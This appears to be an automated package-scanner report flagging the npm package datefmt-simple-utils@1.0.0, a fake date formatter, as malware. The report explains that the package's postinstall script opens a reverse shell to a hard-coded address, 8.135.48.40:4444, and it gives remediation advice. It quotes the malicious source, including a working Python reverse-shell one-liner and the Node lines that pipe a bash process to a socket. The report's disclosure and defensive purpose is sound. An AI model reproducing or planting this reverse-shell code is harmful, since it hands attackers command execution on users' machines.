registry / Remote code execution / datefmt-simple-utils
datefmt-simple-utils
A simple date formatting utility
This report shows the evidence for datefmt-simple-utils@1.0.0, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiDirect source inspection confirms an unconsented install-time reverse shell with a hard-coded command-and-control endpoint. The benign date formatter does not justify this behavior.
Static reason
High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review
Trigger
npm installation, via postinstall
Impact
Remote operator can execute commands as the installing user.
Mechanism
install-time reverse shell through Python or Node child-process fallbacks
Attack narrative
npm invokes postinstall.js during installation. The script first attempts Python reverse shells that connect to 8.135.48.40:4444 and duplicate the socket onto standard input/output/error for bash. If those fail, it creates the same interactive bash socket bridge using Node.
AI rationale
Direct source inspection confirms an unconsented install-time reverse shell with a hard-coded command-and-control endpoint. The benign date formatter does not justify this behavior.
Evidence
package.jsonpostinstall.jsindex.js/bin/bash
Network endpoints1
8.135.48.40:4444
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs postinstall.js during npm installation.
- postinstall.js opens a socket to 8.135.48.40:4444 and attaches it to /bin/bash.
- Two execSync Python reverse-shell fallbacks run before the native Node fallback.
Evidence against
- index.js only exports a date-formatting helper.
- No legitimate purpose is apparent for the install-time shell connection.
Behavioral surface
ChildProcess
HighEntropyStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node postinstall.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.postinstall = node postinstall.js
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgpostinstall.jsView file
1const { execSync } = require('child_process');
L2: const net = require('net');
L3: const { spawn } = require('child_process');
...
L9: try {
L10: execSync(`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("${VPS}",${PORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'`, {timeout: 300000});
L11: } catch(e) {
...
L20: c.pipe(sh.stdin);
L21: sh.stdout.pipe(c);
L22: sh.stderr.pipe(c);
Critical
Reverse Shell
Source matches reverse-shell style process and socket wiring.
Findings
2 Critical5 High2 Medium2 Low
CriticalReverse Shellpostinstall.js
CriticalTrigger Reachable Dangerous Capabilitypostinstall.js
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processpostinstall.js
HighKnown Malware Source Fingerprint Signaturepostinstall.js
HighSuspicious Lifecycle Evidencepostinstall.js
HighAi Review Evidencepostinstall.js
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
Affected versions and remediation
This report applies to datefmt-simple-utils@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing datefmt-simple-utils@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.